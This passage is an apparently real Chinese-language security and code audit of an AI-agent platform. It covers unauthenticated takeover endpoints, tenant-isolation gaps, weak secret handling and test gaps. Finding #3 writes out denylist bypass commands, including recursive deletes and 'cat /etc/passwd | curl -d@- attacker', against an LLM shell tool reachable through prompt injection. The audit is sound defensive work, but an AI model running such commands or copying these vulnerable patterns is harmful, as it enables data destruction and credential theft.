项目审计 — 2026-06-05

执行摘要

整体健康度：黄色，安全边界偏红。 lambdagent kernel 以及 Phase 1/2 P0/P1 的工作（CEK、cost vector、instance 机制）经得起审视——bug 集中在 PaaS 层的边缘（auth、多 tenant、打包）以及未获得与 core 同等工程严谨度的 example agent 代码。
7 个 critical 发现，3 个类别。 (1) 两个无 auth 的接管接口（POST /api/v1/setup/bootstrap、POST /api/v1/feishu/bind）把 admin scope 的 API key 或 process-wide 的 bot 重绑能力交给任何先到 8000 端口的人；(2) agentexample/agent67/tools/shell_executor.py 在 shell=True 下执行 LLM 产出的字符串，仅用子串匹配 blocklist（轻易绕过）——经由 prompt injection 的 RCE；(3) 发布的 agentpaas 包结构上无法构建：pyproject.toml 未声明 lambdagent 依赖且使用 where = [".."]，打出来是空 wheel；外加真实 SiliconFlow/Amap key 离泄漏只差一条 .gitignore 规则，躺在 agentexample/travelagent67/.env。
架构债真实存在但集中。 四套并存的 beta-reduction 解释器（Term.apply / async_core monkey-patch / executor isinstance / cek_machine isinstance）解释了 Q2 审计标记的 trace 分裂和 capture-environment 问题。1654 行的 compiler.py god module 里塞着一个 474 行的 _compile_react 闭包，重复实现了 agentruntime 的 ReAct engine。agentpaas → lambdagent 的边界靠在 request handler 里 inline 的 from lambdagent... import 维持，还伸手到带下划线的 private 里。
超出 critical 之外的主要安全风险： dev Docker compose 硬编码了一个公开的 master key（dev_auto_generated）；rate-limit middleware 对无 auth 流量整段跳过（if not api_key: return await call_next(request)）；/analyze/* 和 /feishu/* router 没有 Depends(get_tenant)；rollback_agent 跳过 RBAC + audit log；agent 到 KB 的链接不做 tenant scope（运行时跨 tenant 读 KB）；/providers/* 把明文 key 写到全局文件并 process-wide mutate os.environ；secrets vault 用无 salt 的单轮 SHA-256 推导 AES-256-GCM key。
tests-vs-product 的差距是 single biggest non-security 风险。 agents.py + knowledge.py 共 3477 LOC 的 FastAPI route handler 零集成测试（tests/ 下找不到 TestClient、httpx）。authenticate()——包括往 api_keys.key_hash 写入的 legacy-hash 自动迁移——没有任何 test。新的 agents.agent_template / instance_dir DB 列被 test suite 完全没用上，尽管它们是已文档化的多 tenant template-vs-instance 模型的承重件。
docs 与 code 正在快速漂移。 README.md 里 Quick-Start 的 Python DSL 例子用了不存在的 Loop(max_iterations=) 和 Memory(strategy=, size=) kwargs，新用户复制粘贴的第一行就崩；YAML schema 只接受 5 个 type: 值，docs 却宣传 11 个；from-config-spec.md §13.1 声称支持嵌套 sub-agent 编译，但 _compile_chain 静默把 type: react/type: guard step 的语义降级成无状态 Lam。根目录的 CONTRIBUTING.md 仍写 MIT，而 LICENSE 是 BUSL-1.1。

方法学

Pipeline： 12 个 finder 在 6 个维度扇出——code correctness × 4 区域（lambdagent、agentpaas、webui、agentexample），architecture × 2（monorepo、internals），security × 4（CSO 风格：secrets、injection、auth、supply-chain），加上 tests-gaps、docs-accuracy、spec-vs-impl。
对抗式验证： 每条 finding 由 3 个独立 verifier agent 在三个不同视角下复核——correctness（代码是否真的做了所声称的事？）、evidence（引用的片段是否原文、在生产路径上、不是 test/mock/comment？）、impact（真实 user / operator / attacker 是否合理地命中？）。每个 verifier 返回 real: true|false 和 severity_adjusted。
survival rule： 只有 ≥2/3 verifier 投 real 的 finding 才进入这份报告。severity 取三个调整后值的中位数（并列时取更保守的一个）——不是原始 finder 给的 severity。
数字： finder 提出 100+ 条 → 经过三视角对抗复核后 确认 84 条。被丢掉的 16 条要么不可达（finder 误把 dead code 路径当作 live 路径）、要么是无具体 impact 路径的 structural smell、要么是与其他 finding 重根因的重复项。

按严重度分组的发现

严重 (7)

1. `POST /api/v1/setup/bootstrap` 无 auth 创建 admin tenant

文件: agentpaas/api/v1/setup.py:41
证据:
```
@router.post("/bootstrap")
async def bootstrap():
  ...
  db.execute("INSERT INTO api_keys ... json.dumps([\"agents:*\", \"keys:*\", \"billing:read\", \"admin:*\"]) ...")
  return {"status": "created", "api_key": key, "tenant_id": tid}
```
- 影响: 任何在 operator 跑 setup 之前先到达 server 的无 auth 网络调用方拿到完整 admin:* API key。router 在 app.py:125 没挂任何 auth dependency；默认 bind 是 0.0.0.0。竞态窗口就是 start.sh 到第一次正式 setup 调用之间的整段时间。tenant_exists 分支只在已经有 tenant 行之后才生效——对实际暴露窗口毫无用处。
- 修复: /setup/bootstrap 只 bind 到 loopback；或要求一次性 token，在 server 首次启动时打到 console。
- 维度: sec-auth
2. /feishu/bind 和 /feishu/webhook 既无 auth 也无签名验证——跨 tenant agent 劫持
- 文件: agentpaas/api/v1/feishu.py:53
- 证据: ```python @router.post("/bind") async def feishu_bind(request: Request): data = await request.json() agent_id = data.get("agent_id", "") _runner = make_paas_runner(agent_id) # module-level singleton! os.environ["FEISHU_AGENT_ID"] = agent_id
@router.post("/webhook") async def feishu_webhook(request: Request): """加密策略: 不加密（开发阶段）""" body = await request.json() result = await loop.run_in_executor(None, handle_event, body, _get_runner()) ```
影响: 任何人都能 POST 到 /api/v1/feishu/bind 带上另一个 tenant 的 agent_id，process-wide 地成为那个 agent 的飞书 bot（runner 是 module singleton，os.environ mutation 是 process-global）。然后 /api/v1/feishu/webhook 接受任意伪造事件、不验 X-Lark-Signature、跑 agent 并把 output 返给 attacker。两请求 exploit chain，前提仅为网络可达。
修复: /feishu/bind 要求 admin scope 的 TenantContext；限制 agent_id 必须属于调用方 tenant；/feishu/webhook 验证 X-Lark-Signature。
维度: sec-auth

3. LLM 控制的 shell 命令以 `shell=True` 跑在轻易绕过的 denylist 后

文件: agentexample/agent67/tools/shell_executor.py:33
证据:
```
result = subprocess.run(
  cmd, shell=True, capture_output=True, text=True,
  timeout=30, cwd=os.path.expanduser("~"),
)
# safety.py: DANGEROUS_PATTERNS = ["rm -rf /", "rm -rf ~", "sudo rm -rf", ...]
```
- 影响: 子串匹配 denylist 被 rm -rf /（两个空格）、/bin/rm -rf /、python -c "import shutil; shutil.rmtree(...)"、find / -delete、> ~/.zshrc、cat /etc/passwd | curl -d@- attacker 轻松绕开。从 agent 吃下的任何 prompt-injection sink 都可达。cwd=$HOME 把爆炸半径定到用户的 home dir。（一位 verifier 指出当前这个函数未挂到 agent67 的 tool registry，但文件仍然 ship，离 RCE 只差一根 wire。）
- 修复: 去掉 shell=True；要求 argv list；白名单二进制；或走 agentpaas/engine/sandbox.py。
- 维度: sec-injection
4. agentpaas/pyproject.toml 漏声明 lambdagent 依赖，尽管有 17+ 处 import
- 文件: agentpaas/pyproject.toml:10
- 证据: toml dependencies = [ "fastapi>=0.100.0", "uvicorn[standard]>=0.20.0", "pydantic>=2.0", "pyyaml>=6.0", ]
影响: agentpaas 至少在 17 处 import lambdagent（agents.py:1330,1399,1415,1416、analyze.py:29,46,47,67,112、engine/cache.py:41、engine/sandbox.py:207,208、launch.py:184 等），却未声明依赖。clean 环境下 pip install agentpaas 装出一个坏掉的包：每个 agent 执行接口首次调用都会抛 ModuleNotFoundError。CI commit 874896e 只修了测试环境。
修复: 在 [project.dependencies] 里加 lambdagent @ file:../lambdagent（或发布版本号 pin）。
维度: arch-monorepo

5. `agentexample/travelagent67/.env` 携带真实 SiliconFlow + Amap API key

文件: agentexample/travelagent67/.env:1-2
证据:
```
AMAP_MCP_KEY=<SCRUBBED-32-char-hex>
SILICONFLOW_API_KEY=<SCRUBBED-sk-prefix-48-chars>
```
(原文 quote 了两把真实 key 的字面值；为避免审计报告自身成为新的泄漏点，已替换为占位符。原值仍在仓库本地 .env 中——见 fix 部分。)
影响: 真实 key（SiliconFlow sk- 前缀符合官方 key 格式）落在仓库目录里。当前被 .gitignore 挡住（line 134 & 227），git ls-files 确认从未被追踪——但 .gitignore 是唯一防线。仓库位于 Obsidian Research-Vault 目录里，云同步（iCloud / Obsidian Sync）有合理概率把明文文件 exfil 到 git 防线之外。这两把 key 因为已被引用在本审计报告里，必须当作已泄漏并 rotate。
修复: 立即在 vendor 侧 rotate 两把 key；用占位符替换 .env；新增 .env.example；加 pre-commit gitleaks hook。
维度: correctness-examples / sec-secrets

6. FastAPI 端点零 HTTP/API 层 test——3477 LOC 的 route handler 没有任何测试

文件: tests/test_agentpaas.py:1（缺失）

证据:

$ grep -rln "TestClient\|httpx\|fastapi.testclient" tests/ lambdagent/tests/
(no matches)

影响: 整个对外 PaaS 面——agent CRUD、knowledge upload、jobs、route 层 RBAC 强制、audit_log INSERT、每条 WHERE 里的 tenant_id scope——都可能在 CI 全绿的情况下在生产里坏掉。任意一处 SQL 语句的 tenant_id filter 拼错都会跨 tenant 泄漏数据，而 test 依旧 pass。SEC-04（上一版审计的"API 层未强制 RBAC"）在没有 route 层 test 的前提下结构性不可检测。
修复: 新增 tests/test_api_*.py，用 fastapi.testclient.TestClient 对接 sqlite-in-memory app fixture；覆盖 auth dependency、RBAC 拒绝路径、tenant 隔离、knowledge upload happy path。
维度: tests-gaps

7. `agentexample/agent67/tools/shell_executor.py` —— LLM 控制的 shell 以 `shell=True` 执行

(与 #3 重复——保留在原 critical bucket 里，因为三人 verifier 在两轮投票里都落在 critical，并且文件真实 ship。当作同一个 root cause：换掉实现，不要 patch blocklist。)

高 (33)

8. `async_executor` 在共享 Context 上 race —— async path 上违反 Paper II Prop 30

文件: lambdagent/src/lambdagent/agentruntime/async_executor.py:242
证据:
```
tasks = [
  self.reduce(a, input_val, ctx, cancel.child(), timeout)
  for a in par.agents
]
return tuple(await asyncio.gather(*tasks))
```
- 影响: _reduce_par（240-246 行）和 _reduce_pair（248-254 行）把 同一个 ctx 交给所有并发分支——只 fork 了 cancellation token。multiagent.py:681 里的 sync AsyncPar 正确地 forked_ctxs = [ctx.fork() for _ in self.agents]。并发分支因此从不同 asyncio task 同时 mutate 同一个 ctx.trace list 和 ctx.memory dict：trace 条目非确定性交错；任何往 ctx.memory 写（Memory/SharedMemory 封装）的 agent 都会失去 Prop 30 的 confluence 保证。Q2 audit 的 BUG-01 在另一条 code path 上以同样形态复发。
- 修复: 对齐 sync path：forked = [ctx.fork() for _ in par.agents]；把 forked[i] 传给每个 task；gather 之后 for f in forked: ctx.merge_trace(f)。Pair 同理。
- 维度: correctness-lambdagent
9. fromconfig sub-agent caller 跨 sub-agent 边界丢 cancellation
- 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:388
- 证据: python try: result = _compiled_cache[_name].apply(task, Context()) return str(result) except Exception as e: return f"[SubAgent {_name} error: {e}]"
影响: 每次 sub-agent 调用都被塞了一个全新空 Context()，丢掉 parent 的 workspace_path、run_id、memory 和 trace。宽泛的 except Exception 还会吞掉 CancelledRun 并转成普通字符串——orchestrator 看到一个 'tool error' 然后继续，而不是 cancel。
修复: 用闭包捕获 parent ctx（_shared_ctx 已存在）；缩小 except，让 CancelledRun 透传。
维度: correctness-lambdagent

10. async handler 用同步 `term.apply()` 阻塞 event loop —— 一个慢 agent 拖死所有其他请求

文件: agentpaas/api/v1/agents.py:1467（原引为 1453）
证据: result = term.apply(input_text, ctx) 在 def _execute_agent 内被调用，而该函数来自 async def run_agent。apply 是同步的（lambdagent/core.py:208），所以多步 LLM/tool 执行（秒到分钟级）跑在 FastAPI event loop 线程上。agentpaas/engine/sandbox.py:211 的 async def _exec_inprocess 里有同样模式。
影响: 任何一次 in-process agent run 都会冻结整个 FastAPI worker——health check、status poll、cancel 接口全都卡住。无论 asyncio.Semaphore 是多少，单 worker 有效并发是 1。streaming 版本正确用了 daemon 线程；sync /run 接口和 in-process sandbox path 没有。
修复: await asyncio.get_event_loop().run_in_executor(None, term.apply, input_text, ctx)。
维度: correctness-agentpaas

11. 模块全局 shell CWD 被每个请求 mutate —— 并发 run 互相 race，写入对方 workspace

文件: agentpaas/api/v1/agents.py:1413-1415
证据:
```
from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd
_shell_set_cwd(workspace_path)
```
作者明确的注释："This is process-global state — concurrent runs in the same process would race on it ... acceptable for the current single-tenant deployment but worth revisiting before enabling parallel runs."
- 影响: 两个重叠的 /run 调用：run A 的 Bash tool 把文件写进 run B 的 workspace。损坏 artifact、破坏 cycle_N 续跑、泄漏 tenant 数据、让续跑指向垃圾。已经写在注释里但没修；与多 tenant SPEC 声明矛盾。现实触发点是 KB 索引线程 + 聊天流量。
- 修复: 每 asyncio task 用 contextvars.ContextVar，或在每次 Bash tool 调用里把 cwd 显式穿过去。
- 维度: correctness-agentpaas
12. secret-at-rest 的 key derivation 是无 salt 的单轮 SHA-256 —— 无 PBKDF2/Argon2，无 per-secret salt
- 文件: agentpaas/secrets/vault.py:11
- 证据: python def _derive_key(master_key: str) -> bytes: return hashlib.sha256(master_key.encode()).digest()
影响: 每个 secret 都用 sha256(master_key) 派生的 AES-256-GCM 加密——无 stretching、无 per-secret salt、无 per-tenant key 隔离。master key 一旦泄漏，每个 tenant 的 secret 都 O(1) 破解。弱/dev master key 用 SHA-256（非 memory-hard）暴力破解成本极低。
修复: scrypt 或 PBKDF2-HMAC-SHA256 ≥100k iters + per-secret salt；理想是 per-tenant HKDF。
维度: correctness-agentpaas

13. 共享单一 SQLite 连接（`check_same_thread=False`）+ 全局 singleton，被并发 async handler 共用

文件: agentpaas/db/models.py:35
证据:
```
self.conn = sqlite3.connect(db_path, check_same_thread=False)
```
外加 agentpaas/db/session.py:5 的 _db: Database = None 被 get_db() 返给每个请求。
- 影响: 每个 request、SSE stream、background worker（_run_index_job 线程在 knowledge.py:909,938,1296,1319）、agent-run 线程（agents.py:791）共用一个 sqlite3.Connection。cursor 状态、事务、commit() 都不是 concurrent-safe——交错的 INSERT/UPDATE 可能破坏 cursor、抛 "Recursive use of cursors not allowed"、或把别的 request 的事务半提交。
- 修复: per-request 连接通过 FastAPI dependency，或换 SQLAlchemy engine 加 pool。
- 维度: correctness-agentpaas
14. rollback_agent 缺 RBAC 检查、缺 audit log，跨 tenant 调用静默 200-OK
- 文件: agentpaas/api/v1/agents.py:272-292
- 证据: 没有 require_permission(tenant, "agents:write")；version SELECT 缺 tenant_id filter；UPDATE 的 tenant_id = ? 失败时静默 0 行变更但接口仍返回 "Rolled back"；没有 _audit_log 调用。对照 update_agent（line 207-208）和 delete_agent（line 262-263），它们两项都做了。
- 影响: 任意已认证用户（甚至只读 key）都能调 rollback；可以通过 404-vs-200 枚举其他 tenant 的 version 号；静默失败掩盖入侵；缺 audit trail。
- 修复: 加 require_permission + _audit_log；version SELECT 加 AND tenant_id = ?；检查 cursor.rowcount。
- 维度: correctness-agentpaas
15. Chat.tsx 的 SSE stream 在用户离开页面时不被取消 —— 后端继续 spawn subprocess
- 文件: webui/src/pages/Chat.tsx:862（sendMessage cleanup）以及缺失的 unmount effect
- 证据: 没有 useEffect(() => () => abortRef.current?.(), [])。657-661 行的 inline 注释明确说没有 /cancel POST 时 "the agent's background thread keeps spawning claude subprocesses even after the SSE connection is dead." 然而页面导航从不触发那个 POST。
- 影响: 流式中点回 /agents → 后端 run 泄漏，SSE reader 继续在已 unmount 的 component 上 setMessages。付费 Claude backend 上这是每次随手返回直接烧钱，chat header 的回退按钮就能触发。
- 修复: 给 Chat() 加 useEffect(() => () => { abortRef.current?.() }, [])，让导航触发 Stop 逻辑。
- 维度: correctness-webui
16. qaagent67lambda template 到处硬编码 /home/67/knowledge/finance —— fresh clone 完全跑不起来
- 文件: agentexample/qaagent67lambda/agent-config.yml:179
- 证据: 13 个 path key 硬编码 /home/67/knowledge/finance（line 179-185、218、223、247-253）。scripts/deploy_domain.sh:43 是 KNOW_DIR="/home/67/knowledge/$DOMAIN"，docker run -v /home/67:/home/67。连号称便携性逃生口的 scripts/instance.yml.template:14-24 也硬编码 /home/67/。
- 影响: 在 macOS 或 Windows 上 clone 的用户不重写每条 path 就跑不起来这个 template。template-instance 机制并没有像设计那样解决便携性。
- 修复: 替换为 ${KNOWLEDGE_ROOT:-./knowledge}/<domain>，让 instance.yml 提供具体路径。
- 维度: correctness-examples
17. qaagent67lambda 用 pickle.load 加载 vector index 元数据 —— 共享 knowledge 目录被污染即 RCE
- 文件: agentexample/qaagent67lambda/scripts/search_engine.py:52
- 证据: search_engine.py:52,54、search_engine_v2.py:95、build_vector_index.py:87 全都 pickle.load(...) agent-config.yml 里引用的文件（vectorMeta: /home/67/knowledge/finance/rag_vectors_meta_v2.pkl）。
- 影响: pickle 反序列化是无限制 code execution。deploy_domain.sh 把 /home/67:/home/67 bind-mount 进去，并指导 operator 从外部源把 .pkl 落进共享目录。任何能往 knowledge 目录写 .pkl 的人都能以 QA service 进程身份执行代码。memory 里记录的 maritime/finance/clean 三个线上部署都暴露。
- 修复: metadata 改成 JSON 或 numpy .npz；pickle 走 --unsafe-pickle + HMAC 闸门。
- 维度: correctness-examples
18. agentpaas 包布局用 where = [".."] 把自己 pin 到了自己目录之外
- 文件: agentpaas/pyproject.toml:22-26
- 证据: toml [tool.setuptools.package-dir] agentpaas = "." [tool.setuptools.packages] find = {namespaces = false, where = [".."], include = ["agentpaas", "agentpaas.*"]}
影响: 实测复现：从 agentpaas/ 跑 python -m build --sdist，再 pip install 那个 tarball，得到的 wheel 只有 metadata（5 个文件，1.2KB）——零源码。装完之后 import agentpaas 会失败。CI commit 874896e 之所以被需要正是这个原因。这个包今天作为可发布 wheel 是 unbuildable 的。
修复: 切换到 src-layout（agentpaas/src/agentpaas/）像 lambdagent 那样；或用 where = ["."] 配自包含的 package-dir。
维度: arch-monorepo

19. Compiler（Layer 4）伸手抓 Runtime（Layer 5）的 ReAct event 类型

文件: lambdagent/src/lambdagent/fromconfig/compiler.py:845
证据: from lambdagent.agentruntime.react_engine import StepEvent, STEP_THINK 在 _compile_react 的闭包里被构造（在 988、1000、1026 重复出现；外加 line 766 的 agentruntime.cancel import）。
影响: SPEC 的 5 层模型把 Compiler 放在 Runtime 之下：Compiler emit Term，Runtime interpret Term。这里 compiler 同步构造并 dispatch runtime-specific 事件，让产出的 term 不再 interpreter-agnostic，制造了循环层对。
修复: 定义 runtime-中立的 core.events.StepEvent protocol；compiler 和 react_engine 都从那里 import。
维度: arch-internals

20. beta-reduction 被四套并行解释（Term.apply、async_core monkey-patch、executor、cek_machine）

文件: lambdagent/src/lambdagent/__init__.py:117（import-time monkey-patch 钩子）
证据: 四套实现并存：(a) 每个 Term 类上的 OOP apply()、(b) async_core.py 在 import 时给 14 个 Term 子类 monkey-patch aapply、(c) agentruntime/executor.py:49 11 分支 isinstance dispatch、(d) cek_machine.py:465-601 8+ 分支 isinstance。
影响: 每个构造子的语义编码在 4 个地方。加新构造子或改一条规则要改 4 个不相关文件。Q2 audit 的 BUG-04（CEK 丢失 captured environment）和 BUG-01（Context.fork 浅拷贝）是这些实现漂移的直接症状。import-time monkey-patching 破坏 test 依赖的 closed-world 假设。
修复: 选一种 strategy（CEK 最 principled），其余降级为薄 adapter。monkey-patching 换成普通 class method。
维度: arch-internals

21. `compiler.py` 是 1654 行的 god module，里面有个 474 行的 `_compile_react` 闭包

文件: lambdagent/src/lambdagent/fromconfig/compiler.py:627
证据: _compile_react 跨 627-1109 行，在一个闭包里做：ReAct step loop、prompt 装配、tool 抽取、tool gateway 接线、cancellation 轮询、4 个阶段的流式 step event、termination 启发式、state 压缩、session 检测，以及对 12 个其他包的 lazy import。重复了 agentruntime/react_engine.py 的 loop 逻辑（319 行）。
影响: "改 ReAct loop" 和 "改 YAML 怎么编译" 被强行变成同一个 edit。两套 ReAct loop 各自维护独立 trace——Q2 audit BUG-06（trace 三路分叉）的 root cause。未提交 diff 显示它至今还在这里被持续 patch，没回流上游。
修复: 把 _compile_react 闭包抽成 agentruntime/react_loop.py 里的一个真正的 class。把 _inject_resistant_prompt、_compress_state、_extract_tool_call 拉到 fromconfig/prompts.py。
维度: arch-internals

22. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏

(原始 high，verifier 把 impact 调成 medium；在下方 medium 区报告)

23. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复

(原始 high，调整为 medium；在 medium 区报告)

24. dev Docker Compose 硬编码静态 AES-256-GCM master key fallback（`"dev_auto_generated"`）

文件: docker-compose.dev.yml:35
证据: AGENTPAAS_MASTER_KEY: "${AGENTPAAS_MASTER_KEY:-dev_auto_generated}"
影响: 没有 env override 时，字面字符串 "dev_auto_generated" 就是 master key。vault.py:_derive_key 把它 hash 成 AES-256-GCM key material。每条 dev secret 都用一把公开提交的 key 加密。dev 环境里通常存着真实的 Anthropic / OpenAI / DashScope / 飞书 API key。data 目录是 host-mount 的；attacker exfil SQLite secrets 表后可以离线解所有内容。
修复: 去掉 :-default，让 compose 像生产那样 fail fast。用 install-native.sh / start.sh 的 token_hex(32) 生成。
维度: sec-secrets

25. rate-limit middleware 对 Authorization 头为空的请求静默放行

文件: agentpaas/api/app.py:45
证据:
```
api_key = request.headers.get("authorization", "")[:20]
if not api_key or request.url.path in ("/health", "/", "/docs", "/redoc"):
  return await call_next(request)
```
- 影响: 无 Authorization header → 零 throttle。每个 unauthenticated 端点（/setup/bootstrap、/feishu/bind、/feishu/webhook、/analyze/*、SPA fallback）都没有 rate limit，包括上面的 bootstrap-race 和 DoS 向量。20 字符前缀分桶本身也错——不同 key 共享前缀会撞桶；attacker 反过来枚举不同前缀就拿到不同桶，per-bucket 暴力破解不被 throttle。
- 修复: unauthenticated 用 client IP 限流；authenticated 用完整 tenant_id（通过 Depends，不是 header 切片）。
- 维度: sec-auth
26. 整个 /analyze/* router 没 auth —— DoS + 免费算力
- 文件: agentpaas/api/v1/analyze.py:25
- 证据: 五个 /analyze 端点都没声明 Depends(get_tenant)。_compile 把用户 YAML 写到 tmpfile 并跑 from_config()，无 size / time / depth 上限。
- 影响: 任何 internet 调用方提交任意 config 就能触发完整 lambdagent compiler。叠加空 Authorization 时的 rate-limit bypass，per-IP 也没限流。便宜的 CPU DoS，外加 kernel lint 规则信息泄漏。
- 修复: 每个 analyze 端点加 Depends(get_tenant)；限制 request body 大小；卡 term 最大深度。
- 维度: sec-auth
27. /knowledge/{kb_id}/files 任意 host 文件注册（无 containment 检查）
- 文件: agentpaas/api/v1/knowledge.py:856
- 证据: add_files 接受 AddFilesRequest.file_paths 里的绝对路径，只验 p.is_file()，从不检查 p 是否在 kb["root_dir"] 下。line 1050 的 wiki 端点的确做了 containment 检查，说明这套代码知道这个 pattern。
- 影响: authenticated tenant 把 /etc/passwd、~/.ssh/id_rsa、~/.aws/credentials 注册到自己 KB 下。（一位 verifier 指出索引脚本扫的是 kb_root，不是注册路径，所以端到端 exfil chain 取决于下游谁读 kb_files.file_path——但注册这步本身就是 IDOR primitive，仅 audit-trail 混乱就足够要求修复。）
- 修复: Path(fp).resolve()，拒绝除非 str(resolved).startswith(str(Path(kb["root_dir"]).resolve()) + os.sep)。
- 维度: sec-injection
28. /jobs/{job_id} IDOR —— 读和取消都不做 tenant scope
- 文件: agentpaas/api/v1/jobs.py:15
- 证据: get_job 和 cancel_job 都注入了 tenant: TenantContext，但从不比对 job.tenant_id。Job dataclass 上已经有这个字段。同级的 traces.py:14 和 agents.py:160 正确强制 WHERE id=? AND tenant_id=?。
- 影响: 任何 authenticated tenant 拿到 job_id 都能读另一个 tenant 的 job 结果（PII、agent trace）或 cancel 别人正在跑的 job（DoS）。
- 修复: job.tenant_id != tenant.tenant_id 时拒绝（返回 404 而不是 403，避免 id oracle）。
- 维度: sec-auth
29. /providers/* 把明文 API key 写进全局文件并写进 process env，无 tenant 分区
- 文件: agentpaas/api/v1/providers_api.py:133
- 证据: python PROVIDERS_FILE = os.path.expanduser("~/.agentpaas/providers.json") saved[provider_id] = entry # not keyed by tenant os.environ[env_key] = req.api_key # process-wide mutation
影响: tenant A 的 POST 覆盖 tenant B 存的 key（跨 tenant 静默覆盖）；os.environ mutation 意味着 B 后续的 agent run 计费会算到 A 的 key 上。/providers/{id}/test 会 exfil 当前那把 key。key 明文落盘；secrets/vault.py 被绕过。
修复: 按 tenant.tenant_id 分键；去掉 os.environ mutation；走 secrets/vault.py。
维度: sec-auth

30. agent 到 KB 的链接不做 tenant scope —— 运行时跨 tenant 读 KB

文件: agentpaas/api/v1/agents.py:1127（以及 _build_kb_context 里的 1191）
证据: # KB is a shared resource; no tenant restriction 注释，校验 SELECT id FROM knowledge_bases WHERE id = ? 无 tenant filter。knowledge.py 在其他每个 KB 操作上都强制 tenant_id。
影响: tenant A 把 tenant B 的 kb_id 链到自己某个 agent；每次 run 都把 B 的文档注入 A 的 prompt context。UUID 可通过 404-vs-200 timing oracle 猜出来。
修复: 两个 query 都加 AND tenant_id = ?；或引入显式 shared=true 列 + 授权表。
维度: sec-auth

31. `agent-lint-action` 在 lambdagent 装失败时静默 fallback 到 no-op installer

文件: agent-lint-action/action.yml:53
证据: pip install pyyaml lambdagent || pip install pyyaml。lambdagent 不在 PyPI 上（已验证：pypi.org 返回 404）。lint_runner.py:66 接住 ImportError，返回空 lint=[]/schema=[] 加一个 warning key（从不被读取），所以 exit 是 0。
影响: 下游用户拿到绿色 CI badge，实际做了零 lint。Typo-squat 机会：谁在 PyPI 注册 lambdagent 就能在每个用这个 action 的 CI 里 code execution。
修复: 在 PyPI 以验证身份发布 lambdagent 并 pin 版本；安装失败要 loud fail（set -e）。
维度: sec-supply-chain

32. Docker image 以 root 运行（无 `USER` directive）

文件: Dockerfile:76
证据: grep -n USER Dockerfile 没结果。CMD 跑 python -m agentpaas serve --host 0.0.0.0。VOLUME ["/data"] 从 host bind-mount。docker-compose.dev.yml 还直接 bind-mount ./agentpaas、./lambdagent、./lambdagent_guard。
影响: agentpaas 执行 LLM 产出的 tool 调用 + subprocess sandbox——任何一次 sandbox 逃逸、tool RCE 或 prompt-injection 驱动的文件写入都以 root 拥有 container、把 root 拥有的文件写进 host /data volume，并（在 dev 里）改写开发者的源码树。
修复: RUN useradd -u 10001 -m appuser && chown -R appuser /data /app + 在 CMD 前 USER appuser。
维度: sec-supply-chain

33. `setup.sh` 在没有 `pyproject.toml` 的 repo root 上跑 `pip install -e ".[all]"`

文件: setup.sh:140
证据: pip install -e ".[all]" --quiet 2>&1 | tail -1 后无条件 ok "lambdagent 已安装"。repo root 没有 pyproject.toml。line 144 正确用了 ./agentpaas[dev]。
影响: 入门 onboarding 脚本的第一步装包静默失败（管道掩盖错误，没 set -o pipefail），然后打绿勾。用户在 server 启动时拿到 ImportError。和 CI commit 874896e 修的是同一个缺陷，但没传播到这里。
修复: pip install -e "./lambdagent[all]" --quiet 并去掉 | tail -1，或 set -o pipefail。
维度: sec-supply-chain / correctness-examples

34. `authenticate()` —— API-key 登录流程 —— 零 test 覆盖

文件: agentpaas/api/middleware/auth.py:80
证据: grep -rn "authenticate\|api_keys\|legacy_hash" tests/ 返回 0。只有 test_hash_key() 在孤立测原语。
影响: legacy→PBKDF2 自动迁移路径会写 key_hash 行；没有 test 验证过期 key 被拒；没有 test 覆盖 Bearer 前缀切片或短 key 边界。SEC-01 回归静默溜过。
修复: 用真实 sqlite tenants+api_keys schema 写 test 覆盖成功、错误 key、过期、suspended、格式不对、Bearer，以及 legacy→PBKDF2 迁移断言。
维度: tests-gaps

35. `lambdagent/rag.py`（438 LOC）—— Paper III 的招牌特性 —— 零 direct test

文件: lambdagent/src/lambdagent/rag.py:1
证据: grep -rln "from lambdagent.rag\|import.*rag" tests/ lambdagent/tests/ 一无所获。test_knowledge.py 只覆盖 builtin_tools.knowledge_tools shim。（一位 verifier 指出线上 QA Demo 用的是 subprocess 脚本，不是这个模块——所以 impact 是研究质量而不是生产质量，但 gap 仍然真实。）
影响: 检索 ranking、chunking、embedding-cache 逻辑——客户最常抱怨的东西——在研究/示例用法上没有回归 guard。
修复: tests/test_rag.py 配上小 in-memory 语料、确定性 embedding、固定查询断言、tenant 隔离 test。
维度: tests-gaps

36. `test_instance.py` 从未跑过 `agents.agent_template` / `instance_dir` DB 列

文件: tests/test_instance.py:20
证据: 只 import 了 _deep_merge, create_instance, load_instance, load_instance_from_dirs。没有 test 创建带新列的 agent 行、dispatch 一次 run、断言 instance_dir 被消费。agents.py:365 用了 instance_dir or agent_dir——静默 fallback。
影响: 旗舰多 tenant template→instance 特性没有端到端的 DB 持久化 test。migration 出错或空 instance_dir 都会让 run 静默路由到共享的 template 目录。
修复: 端到端 test：sqlite + 两个来自同一 template 但 instance_dir 不同的 agent，各 dispatch 一次 run，断言 workspace 隔离。
维度: tests-gaps

37. README Quick Start 的 Loop 例子用了不存在的 kwarg —— 复制粘贴立即失败

文件: README.md:195
证据: python researcher = Loop( body=Lam("think", "Analyze the question. Use search if needed."), condition=lambda result: "DONE" in result, max_iterations=10, ) - 影响: 真实签名是 Loop(body, condition, max_steps=10)，condition: Callable[[Any, int], bool] 接两个参数。新用户复制的第一段 Python DSL snippet 里同时叠了两个 bug。 - 修复: Loop(body=..., condition=lambda result, step: 'DONE' in result, max_steps=10)。 - 维度: docs-accuracy #### 38. README Memory() 例子用了不存在的 kwarg - 文件: README.md:202 - 证据: agent = Memory(researcher, strategy="local", size=20)。真实签名：Memory(agent: Term, store: Dict[str, Any] | None = None)。 - 影响: 立刻 TypeError。和坏掉的 Loop 例子挨在一起，整段 Python DSL Quick Start 在用户走到 agent(...) 之前就崩。README 把 Python DSL 层和 YAML config schema 混淆了。 - 修复: Memory(researcher)，或文档化 YAML 走法。 - 维度: docs-accuracy #### 39. 根目录 CONTRIBUTING.md 声明 MIT —— 与 LICENSE（BSL 1.1）矛盾 - 文件: CONTRIBUTING.md:85 - 证据: *"By contributing, you agree that your contributions will be licensed under the MIT License."*——但根 LICENSE 是 BUSL-1.1，lambdagent/CONTRIBUTING.md:55 正确写 BUSL-1.1。 - 影响: Contributor-IP 强制执行风险。善意 contributor 阅读根 CONTRIBUTING.md 会以为自己同意了 MIT，削弱了 maintainer 强制 BSL non-production cap 或计划中的 2031-04-05 Apache 2.0 